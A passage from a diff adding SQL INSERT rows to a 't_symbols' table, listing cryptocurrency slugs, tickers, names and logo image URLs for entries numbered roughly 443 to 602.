'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/verge.png', NULL); +INSERT INTO `t_symbols` VALUES (443, 'keep3rv1', 'KP3R', 'Keep3rV1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/keep3rv1.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (444, 'kishu-inu', 'KISHU', 'Kishu Inu', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kishu-inu.png', NULL); +INSERT INTO `t_symbols` VALUES (445, 'auction', 'AUCTION', 'Bounce', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/auction.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (446, 'barnbridge', 'BOND', 'BarnBridge', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/barnbridge.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (447, 'quickswap', 'QUICK', 'QuickSwap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/quickswap.png', NULL); +INSERT INTO `t_symbols` VALUES (448, 'chain', 'XCN', 'Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chain.png', NULL); +INSERT INTO `t_symbols` VALUES (449, 'h2o-dao', 'H2O', 'H2O Dao', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/h2o-dao.png', NULL); +INSERT INTO `t_symbols` VALUES (450, 'steem-dollars', 'SBD', 'Steem Dollars', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/steem-dollars.png', NULL); +INSERT INTO `t_symbols` VALUES (451, 'quantum', 'QAU', 'Quantum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/quantum.png', NULL); +INSERT INTO `t_symbols` VALUES (452, 'peony', 'PNY', 'Peony Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/peony.jpg', NULL); +INSERT INTO `t_symbols` VALUES (453, 'gas', 'GAS', 'Gas', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gas.png', NULL); +INSERT INTO `t_symbols` VALUES (454, 'tellor', 'TRB', 'Tellor', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tellor.png', NULL); +INSERT INTO `t_symbols` VALUES (455, 'ethernity-chain', 'ERN', 'Ethernity Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethernity-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (456, 'alchemix', 'ALCX', 'Alchemix', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alchemix.png', NULL); +INSERT INTO `t_symbols` VALUES (457, 'thought', 'THT', 'Thought', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/thought.png', NULL); +INSERT INTO `t_symbols` VALUES (458, 'everdome', 'DOME', 'Everdome', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/everdome.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (459, 'pluton', 'PLU', 'Pluton', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pluton.png', NULL); +INSERT INTO `t_symbols` VALUES (460, 'gamitoken', 'GAMI', 'GAMI World', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/gami.png', NULL); +INSERT INTO `t_symbols` VALUES (461, 'ftn', 'FTN', 'Fountain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ftn.jpg', NULL); +INSERT INTO `t_symbols` VALUES (462, 'namecoin', 'NMC', 'Namecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/namecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (463, 'marcopolo', 'MAP', 'MAP Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/marcopolo.png', NULL); +INSERT INTO `t_symbols` VALUES (464, 'lition', 'LIT', 'Lition', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lition.png', NULL); +INSERT INTO `t_symbols` VALUES (465, 'refereum', 'RFR', 'Refereum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/refereum.png', NULL); +INSERT INTO `t_symbols` VALUES (466, 'melon', 'MLN', 'Enzyme', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/melon.png', NULL); +INSERT INTO `t_symbols` VALUES (467, 'swarm', 'BZZ', 'Swarm', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/Swarm.png', NULL); +INSERT INTO `t_symbols` VALUES (468, 'cream-2', 'CREAM', 'Cream', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cream-2.png', NULL); +INSERT INTO `t_symbols` VALUES (469, 'alpha-quark-token', 'AQT', 'Alpha Quark', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alpha-quark-token.png', NULL); +INSERT INTO `t_symbols` VALUES (470, 'gods-unchained', 'GODS', 'Gods Unchained', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gods-unchained.png', NULL); +INSERT INTO `t_symbols` VALUES (471, 'orion-protocol', 'ORN', 'Orion Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/orion-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (472, 'travala', 'AVA', 'Travala.com', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/travala.jpg', NULL); +INSERT INTO `t_symbols` VALUES (473, 'ycc', 'YCC', 'Yuan Chain Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ycc.png', NULL); +INSERT INTO `t_symbols` VALUES (474, 'district0x', 'DNT', 'district0x', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/district0x.png', NULL); +INSERT INTO `t_symbols` VALUES (475, 'taas', 'TAAS', 'TaaS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/taas.png', NULL); +INSERT INTO `t_symbols` VALUES (476, 'safe2', 'SAFE2', 'SAFE2', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/safe2.png', NULL); +INSERT INTO `t_symbols` VALUES (477, 'unigame', 'UNC', 'UniGame', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unigame.jpg', NULL); +INSERT INTO `t_symbols` VALUES (478, 'ads', 'ADS', 'Adshares', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ads.png', NULL); +INSERT INTO `t_symbols` VALUES (479, 'alpaca-finance', 'ALPACA', 'Alpaca Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alpaca-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (480, 'wild-crypto', 'WILD', 'Wild Crypto', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wild-crypto.png', NULL); +INSERT INTO `t_symbols` VALUES (481, 'dia-data', 'DIA', 'DIA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dia-data.png', NULL); +INSERT INTO `t_symbols` VALUES (482, 'propy', 'PRO', 'Propy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/propyinc.jpg', NULL); +INSERT INTO `t_symbols` VALUES (483, 'star-atlas-dao', 'POLIS', 'Star Atlas DAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/star-atlas-dao.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (484, 'iconomi', 'ICN', 'ICONOMI', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/iconomi.png', NULL); +INSERT INTO `t_symbols` VALUES (485, 'bitshares', 'BTS', 'BitShares', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitshares.png', NULL); +INSERT INTO `t_symbols` VALUES (486, 'victoriavrtokens', 'VR', 'Victoria VR', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/victoriavr.png', NULL); +INSERT INTO `t_symbols` VALUES (487, 'rai-finance', 'SOFI', 'RAI Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rai-finance.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (488, 'defipulse-index', 'DPI', 'DeFi Pulse Index', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/defipulse-index.png', NULL); +INSERT INTO `t_symbols` VALUES (489, 'unifi-protocol-dao', 'UNFI', 'Unifi Protocol DAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unifi-protocol-dao.png', NULL); +INSERT INTO `t_symbols` VALUES (490, 'alpine-f1-team-fan-token', 'ALPINE', 'Alpine F1 Team Fan Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alpine-f1-team-fan-token.png', NULL); +INSERT INTO `t_symbols` VALUES (491, 'contentos', 'COS', 'Contentos', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/contentos.png', NULL); +INSERT INTO `t_symbols` VALUES (492, 'tixl', 'MTXLT', 'Tixl [OLD]', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tixl.png', NULL); +INSERT INTO `t_symbols` VALUES (493, 'moac', 'MOAC', 'MOAC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/moac.png', NULL); +INSERT INTO `t_symbols` VALUES (494, 'aragon-court', 'ANJ', 'Aragon Court', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aragon-court.png', NULL); +INSERT INTO `t_symbols` VALUES (495, 'ampleforth-governance-token', 'FORTH', 'Ampleforth Governance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ampleforth-governance-token.png', NULL); +INSERT INTO `t_symbols` VALUES (496, 'streamr-datacoin', 'DATA', 'Streamr', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/streamr-datacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (497, 'bakerytoken', 'BAKE', 'BakerySwap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bakerytoken.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (498, 'ramp-defi', 'RAMP', 'RAMP', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ramp-defi.png', NULL); +INSERT INTO `t_symbols` VALUES (499, 'redfox-labs', 'RFOX', 'RFOX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/redfox-labs.png', NULL); +INSERT INTO `t_symbols` VALUES (500, 'jasmycoin', 'JASMY', 'JasmyCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jasmycoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (501, 'jex', 'JEX', 'JEX Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/JEX_Derivative.jpg', NULL); +INSERT INTO `t_symbols` VALUES (502, 'clearcoinx', 'XCLR', 'ClearCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/clearcoinx.png', NULL); +INSERT INTO `t_symbols` VALUES (503, 'nuls', 'NULS', 'Nuls', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nuls.png', NULL); +INSERT INTO `t_symbols` VALUES (504, 'gyen', 'GYEN', 'GYEN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gyen.png', NULL); +INSERT INTO `t_symbols` VALUES (505, 'rei-network', 'REI', 'REI Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rei-network.png', NULL); +INSERT INTO `t_symbols` VALUES (506, 'catex-token', 'CATT', 'Catex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/catex-token.png', NULL); +INSERT INTO `t_symbols` VALUES (507, 'ultiledger', 'ULT', 'Ultiledger', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ultiledger.png', NULL); +INSERT INTO `t_symbols` VALUES (508, 'polkafoundry', 'PKF', 'Firebird', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/polkafoundry.png', NULL); +INSERT INTO `t_symbols` VALUES (509, 'innovative-bioresearch', 'INNBC', 'Innovative Bioresearch Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/innovative-bioresearch.png', NULL); +INSERT INTO `t_symbols` VALUES (510, 'adx-net', 'ADX', 'Ambire AdEx', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/adx-net.png', NULL); +INSERT INTO `t_symbols` VALUES (511, 'bit-z', 'BZ', 'BitZ Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bit-z.png', NULL); +INSERT INTO `t_symbols` VALUES (512, 'chipswap', 'CHIPS', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chipswap.png', NULL); +INSERT INTO `t_symbols` VALUES (513, 'bluzelle', 'BLZ', 'Bluzelle', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bluzelle.png', NULL); +INSERT INTO `t_symbols` VALUES (514, 'guildofguardians', 'GOG', 'Guild of Guardians', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/guildofguardians%20.png', NULL); +INSERT INTO `t_symbols` VALUES (515, 'leagueofkingdomsarena', 'LOKA', 'League of Kingdoms', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/leagueofkingdomsarena.png', NULL); +INSERT INTO `t_symbols` VALUES (516, 'elitium', 'EUM', 'Elitium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/elitium.png', NULL); +INSERT INTO `t_symbols` VALUES (517, 'tokocrypto', 'TKO', 'Tokocrypto', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tokocrypto.png', NULL); +INSERT INTO `t_symbols` VALUES (518, 'liquidapps', 'DAPP', 'LiquidApps', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/liquidapps.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (519, 'tokpie', 'TKP', 'TOKPIE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tokpie.png', NULL); +INSERT INTO `t_symbols` VALUES (520, 'kardiachain', 'KAI', 'KardiaChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/kardiachain.png', NULL); +INSERT INTO `t_symbols` VALUES (521, 'guildfi', 'GF', 'GuildFi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/guildfi.png', NULL); +INSERT INTO `t_symbols` VALUES (522, 'airswap', 'AST', 'AirSwap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/airswap.png', NULL); +INSERT INTO `t_symbols` VALUES (523, 'get-protocol', 'GET', 'GET Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/get-protocol.jpg', NULL); +INSERT INTO `t_symbols` VALUES (524, 'oxycoin', 'OXY', 'Oxycoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/oxycoin.png', NULL); +INSERT INTO `t_symbols` VALUES (525, 'revain', 'REV', 'Revain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/revain.png', NULL); +INSERT INTO `t_symbols` VALUES (526, 'gxchain', 'GXC', 'GXChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gxchain.png', NULL); +INSERT INTO `t_symbols` VALUES (527, 'lever', 'LEVER', 'LeverFi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lever.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (528, 'btu-protocol', 'BTU', 'BTU Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/btu-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (529, 'streamcoin', 'STRM', 'StreamCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/streamcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (530, 'fusion', 'FSN', 'FUSION', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fusion.png', NULL); +INSERT INTO `t_symbols` VALUES (531, 'cargox', 'CXO', 'CargoX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/cargoxio.jpg', NULL); +INSERT INTO `t_symbols` VALUES (532, 'mango-markets', 'MNGO', 'Mango', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mango-markets.png', NULL); +INSERT INTO `t_symbols` VALUES (533, 'v-id', 'VIDT', 'VIDT DAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/v-id.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (534, 'metronome', 'MET', 'Metronome', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/metronome.png', NULL); +INSERT INTO `t_symbols` VALUES (535, 'sonm', 'SNM', 'SONM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sonm.png', NULL); +INSERT INTO `t_symbols` VALUES (536, 'qash', 'QASH', 'QASH', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/qash.png/coinInfo.png', NULL); +INSERT INTO `t_symbols` VALUES (537, 'manchester-city-fan-token', 'CITY', 'Manchester City Fan Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/manchester-city-fan-token.png', NULL); +INSERT INTO `t_symbols` VALUES (538, 'zcoin', 'FIRO', 'Firo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (539, 'sweateconomy', 'SWEAT', 'Sweatcoin - Sweat Economy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/sweateconomy.png', NULL); +INSERT INTO `t_symbols` VALUES (540, 'star-atlas', 'ATLAS', 'Star Atlas', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/star-atlas.png', NULL); +INSERT INTO `t_symbols` VALUES (541, 'sentinel-protocol', 'UPP', 'Sentinel Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sentinel-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (542, 'og', 'OG', 'OG Fan Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/og.png', NULL); +INSERT INTO `t_symbols` VALUES (543, 'bzx-protocol', 'BZRX', 'bZx Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bzx-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (544, 'dforce-token', 'DF', 'dForce', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dforce-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (545, 'parsiq', 'PRQ', 'PARSIQ', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/parsiq.png', NULL); +INSERT INTO `t_symbols` VALUES (546, 'stafi', 'FIS', 'Stafi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stafi.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (547, 'infinitecoin', 'IFC', 'Infinitecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/infinitecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (548, 'kin', 'KIN', 'Kin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kin.png', NULL); +INSERT INTO `t_symbols` VALUES (549, 'xcad', 'XCAD', 'XCAD Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/XCAD.png', NULL); +INSERT INTO `t_symbols` VALUES (550, 'harvest-finance', 'FARM', 'Harvest Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/harvest-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (551, 'ttc-protocol', 'MARO', 'Maro', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ttc-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (552, 'renbtc', 'RENBTC', 'renBTC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/renbtc.png', NULL); +INSERT INTO `t_symbols` VALUES (553, 'conun', 'CON', 'CONUN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/conun.png', NULL); +INSERT INTO `t_symbols` VALUES (554, 'rarible', 'RARI', 'Rarible', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rarible.png', NULL); +INSERT INTO `t_symbols` VALUES (555, 'hard-protocol', 'HARD', 'Kava Lend', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hard-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (556, 'highstreet', 'HIGH', 'Highstreet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/highstreet.png', NULL); +INSERT INTO `t_symbols` VALUES (557, 'pivx', 'PIVX', 'PIVX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pivx.png', NULL); +INSERT INTO `t_symbols` VALUES (558, 'axel', 'AXEL', 'AXEL', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/axel.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (559, 'cartaxi-token', 'CTX', 'CarTaxi Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cartaxi-token.png', NULL); +INSERT INTO `t_symbols` VALUES (560, 'gitcoin', 'GTC', 'Gitcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gitcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (561, 'boson-token', 'BOSON', 'Boson Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/boson-token.png', NULL); +INSERT INTO `t_symbols` VALUES (562, 'jingtum-tech', 'SWTC', 'SWTC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jingtum-tech.png', NULL); +INSERT INTO `t_symbols` VALUES (563, 'mdkx', 'MDKX', 'MDKX Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mdkx.png', NULL); +INSERT INTO `t_symbols` VALUES (564, 'drunkrobots', 'METAL', 'Drunk Robots', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/drunkrobots.png', NULL); +INSERT INTO `t_symbols` VALUES (565, 'quantum-resistant-ledger', 'QRL', 'Quantum Resistant Ledger', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/quantum-resistant-ledger.png', NULL); +INSERT INTO `t_symbols` VALUES (566, 'clover-finance', 'CLV', 'Clover Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/clover-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (567, 'aeternity', 'AE', 'Aeternity', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aeternity.png', NULL); +INSERT INTO `t_symbols` VALUES (568, 'zenon', 'ZNN', 'Zenon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zenon.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (569, 'distributed-credit-chain', 'DCC', 'Distributed Credit Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/distributed-credit-chain.jpg', NULL); +INSERT INTO `t_symbols` VALUES (570, 'circuits-of-value', 'COVAL', 'Circuits of Value', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/circuits-of-value.png', NULL); +INSERT INTO `t_symbols` VALUES (571, 'unilend-finance', 'UFT', 'UniLend Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unilend-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (572, 'cult-dao', 'CULT', 'Cult DAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cult-dao.png', NULL); +INSERT INTO `t_symbols` VALUES (573, 'fio-protocol', 'FIO', 'FIO Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fio-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (574, 'zb-blockchain', 'ZB', 'ZB', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zb-blockchain.png', NULL); +INSERT INTO `t_symbols` VALUES (575, 'fida', 'FIDA', 'Bonfida', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fida.png', NULL); +INSERT INTO `t_symbols` VALUES (576, 'cerenetwork', 'CERE', 'Cere Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/cerenetwork.png', NULL); +INSERT INTO `t_symbols` VALUES (577, 'vite', 'VITE', 'VITE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vite.jpg', NULL); +INSERT INTO `t_symbols` VALUES (578, 'bitcoin-diamond', 'BCD', 'Bitcoin Diamond', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-diamond.png', NULL); +INSERT INTO `t_symbols` VALUES (579, 'viat', 'VIAT', 'ViaBTC Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/viat.jpg', NULL); +INSERT INTO `t_symbols` VALUES (580, 'fc-porto', 'PORTO', 'FC Porto', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fc-porto.png', NULL); +INSERT INTO `t_symbols` VALUES (581, 'wing-finance', 'WING', 'Wing Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wing-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (582, 'shiden-network', 'SDN', 'Shiden Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/shiden-network.png', NULL); +INSERT INTO `t_symbols` VALUES (583, 'noia-network', 'NOIA', 'Syntropy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/noia-network.png', NULL); +INSERT INTO `t_symbols` VALUES (584, 'centrality', 'CENNZ', 'CENNZnet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/centrality.png', NULL); +INSERT INTO `t_symbols` VALUES (585, 'trustswap', 'SWAP', 'Trustswap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trustswap.png', NULL); +INSERT INTO `t_symbols` VALUES (586, 'aleph', 'ALEPH', 'Aleph.im', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aleph.png', NULL); +INSERT INTO `t_symbols` VALUES (587, 'proton', 'XPR', 'Proton', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/proton.png', NULL); +INSERT INTO `t_symbols` VALUES (588, 'diamond', 'DMD', 'Diamond', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/diamond.png', NULL); +INSERT INTO `t_symbols` VALUES (589, 'presearch', 'PRE', 'Presearch', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/presearch.png', NULL); +INSERT INTO `t_symbols` VALUES (590, 'vxv', 'VXV', 'Vectorspace AI', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vxv.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (591, 'mathwallet', 'MATH', 'MATH', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mathwallet.png', NULL); +INSERT INTO `t_symbols` VALUES (592, 'hegic', 'HEGIC', 'Hegic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hegic.png', NULL); +INSERT INTO `t_symbols` VALUES (593, 'mantra-dao', 'OM', 'MANTRA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mantra-dao.png', NULL); +INSERT INTO `t_symbols` VALUES (594, 'latoken', 'LA', 'LATOKEN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/latoken.png', NULL); +INSERT INTO `t_symbols` VALUES (595, 'burger-swap', 'BURGER', 'BurgerCities', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/burger-swap.png', NULL); +INSERT INTO `t_symbols` VALUES (596, 'fes', 'FES', 'FES', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fes.png', NULL); +INSERT INTO `t_symbols` VALUES (597, 'santos-fc-fan-token', 'SANTOS', 'Santos FC Fan Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/santos-fc-fan-token.png', NULL); +INSERT INTO `t_symbols` VALUES (598, 'chronobank', 'TIME', 'chrono.tech', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chronobank.png', NULL); +INSERT INTO `t_symbols` VALUES (599, 'tranchess', 'CHESS', 'Tranchess', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tranchess.png', NULL); +INSERT INTO `t_symbols` VALUES (600, 'waltonchain', 'WTC', 'Waltonchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/waltonchain.png', NULL); +INSERT INTO `t_symbols` VALUES (601, 'dock', 'DOCK', 'Dock', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dock.png', NULL); +INSERT INTO `t_symbols` VALUES (602, 'polyswarm', 'NCT', 'PolySwarm', 